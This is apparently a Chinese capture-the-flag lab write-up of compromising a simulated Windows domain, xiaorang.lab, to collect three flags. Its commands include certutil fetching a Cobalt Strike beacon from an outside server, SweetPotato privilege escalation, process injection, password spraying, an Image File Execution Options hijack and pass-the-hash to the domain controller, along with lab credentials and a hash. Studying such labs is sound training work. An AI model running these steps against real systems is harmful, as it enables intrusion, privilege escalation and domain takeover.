flag1

1.mssql弱口令

fscan扫描发现存在mssql的弱口令

MDUT连接

image-20250723130843060

whoami查看一下,发现是一个比较低的权限

image-20250723130917075

然后 whoami /priv 查看一下当前用户账户的特权,以及这些特权是否被启用

image-20250723131136237

发现身份验证后模拟客户端已启用,所以是可以用sweetpotato进行提权的

2.上线cs,土豆提权

那么接下来就是要上传文件,可以考虑用数据库命令一个一个上传文件,但是为了方便可以先上传cs,然后在cs上传其他文件

image-20250723132043333

创建一个监听器

image-20250723132100646

生成攻击载荷:

image-20250723132235158

由于靶机是访问公网的,所以先把这个载荷上传到服务器上,然后通过命令从服务器上得到载荷,要先在服务器上起一个http服务

之所以选择在Public目录下是因为默认的当前目录我们没有可执行权限,则写入时无法保存

1
certutil -f -split -urlcache http://101.37.161.238/beacon_x64.exe C:\Users\Public\beacon_x64.exe

image-20250723133036081

这样我们就成功上传了这个cs的载荷,运行之后,发现我们的cs也就成功上线了

image-20250723133123093

image-20250723133410627

在使用前记得修改回连间隔为0,不然会用的很慢

然后在文件管理中我们就可以上传一些东西,比如fscan,stowaway,sweetpotato

image-20250723133959752

接下来用sweetpotato提权,执行一下命令:

1
shell C:\Users\Public\SweetPotato.exe -a whoami

image-20250723134157916

发现sweetpotato提权后为系统用户,接下来用这个系统用户执行我们的cs载荷来让系统用户上线

1
shell C:\Users\Public\SweetPotato.exe -a C:\Users\Public\beacon_x64.exe

发现我们的system用户上线了

image-20250723135618939

找到flag1的位置然后打印即可:

1
shell type C:\Users\Administrator\flag\flag01.txt

image-20250723140423991

还有一条hint:

1
Maybe you should focus on user sessions...

让我们关注用户会话

flag2

1.内网扫描

我们先用系统用户执行fscan扫描内网:

image-20250723144931305

先整理一下:

1
2
3
4
172.22.8.18 WIN-WEB    已拿下
172.22.8.15 DC:XIAORANG\DC01
172.22.8.31 XIAORANG\WIN19-CLIENT
172.22.8.46 WIN2016.xiaorang.lab

2.在线用户进程注入上线

发现445端口开放:

  • 445/TCP — SMB(Server Message Block)服务,用于共享文件夹、打印机等资源

所以存在网络共享

用stowaway搭建内网代理,查看一下在线用户

1
shell net user

image-20250723143645873

1
shell quser || qwinst

image-20250723140848562

发现有一个john用户在线,而且是以rdp连接到了这台主机,由于我们现在以及有了system的权限,所以我们可以用进程注入的方式进入到这个john用户

在进程列表中有:

image-20250723141041490

随便选择一个john用户的进程点击下面的注入,然后选择对应的载荷即可让john用户上线

image-20250723141825663

查看挂载情况

1
shell net use

image-20250723144133907

可以看到是挂载了远程TSCLIENT用户的C盘,我们dir一下,发现有一个txt文件

image-20250723144313303

打印一下txt文件的内容,里面有一个hint

1
Do you know how to hijack Image?

说明应该是镜像劫持,然后上面记录着一个用户的域用户的账户密码

image-20250723144444403

1
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

3.密码喷洒

接下来密码喷洒一下看看是哪个主机的用户:

1
proxychains -q crackmapexec smb 172.22.8.46 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

image-20250723145704667

发现STATUS_PASSWORD_EXPIRED,说明密码过期了,我们要改一下密码

1
proxychains python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Admin123$'

image-20250723150029692

4.RDP远程登录

密码修改好后我们就可以rdp登录到该主机,注意:

image-20250723150512082

5.镜像劫持提权

由于提示了存在镜像劫持,获取注册表项 Image File Execution Options 的访问控制列表(ACL)详细信息

1
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

image-20250723150757078

发现 Authenticated Users 的成员可以修改注册表

Authenticated Users 的成员

  • 包括:
    • 所有域用户(Domain Users)。
    • 所有本地用户(Local Users)。
    • 所有通过身份验证的计算机账户(Computer Accounts)。
  • 不包括:
    • 匿名用户(Anonymous)。
    • Guest 账户(除非启用了 Guest 账户并进行了身份验证)。

修改注册表把cmd绑定到放大镜上

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

为了上传cs后门到该主机上,由于这个主机是在内网里的,所以我们需要一个转发代理上线的功能,在cs里此处新建监听器,然后生成对应的载荷,上传到该主机里

image-20250723151233061

image-20250723151543152

锁定后,点击放大镜,发现我们是系统用户,然后执行载荷即可:

image-20250723151722352

这样我们就上线了

image-20250723151811634

找到flag2打印即可

image-20250723151938680

整理一下:

1
2
3
4
172.22.8.18 WIN-WEB    已拿下
172.22.8.15 DC:XIAORANG\DC01
172.22.8.31 XIAORANG\WIN19-CLIENT
172.22.8.46 WIN2016.xiaorang.lab 已拿下

flag3

1.PTH

查看域管成员

1
shell net group "domain admins" /domain

image-20250723152912003

发现 当前机器 WIN2016$ 用户也是域管理员

抓取 WIN2016$ 机器用户的hash,进行PTH连接到域控上

image-20250723152314962

往上翻找到对应hash:16f66511a28ee7a9e13ff2a16ee2045d

image-20250723152343435

wmiexec连接

1
proxychains python3 wmiexec.py -hashes :16f66511a28ee7a9e13ff2a16ee2045d xiaorang.lab/WIN2016\$@172.22.8.15 -codec gbk

image-20250723152715930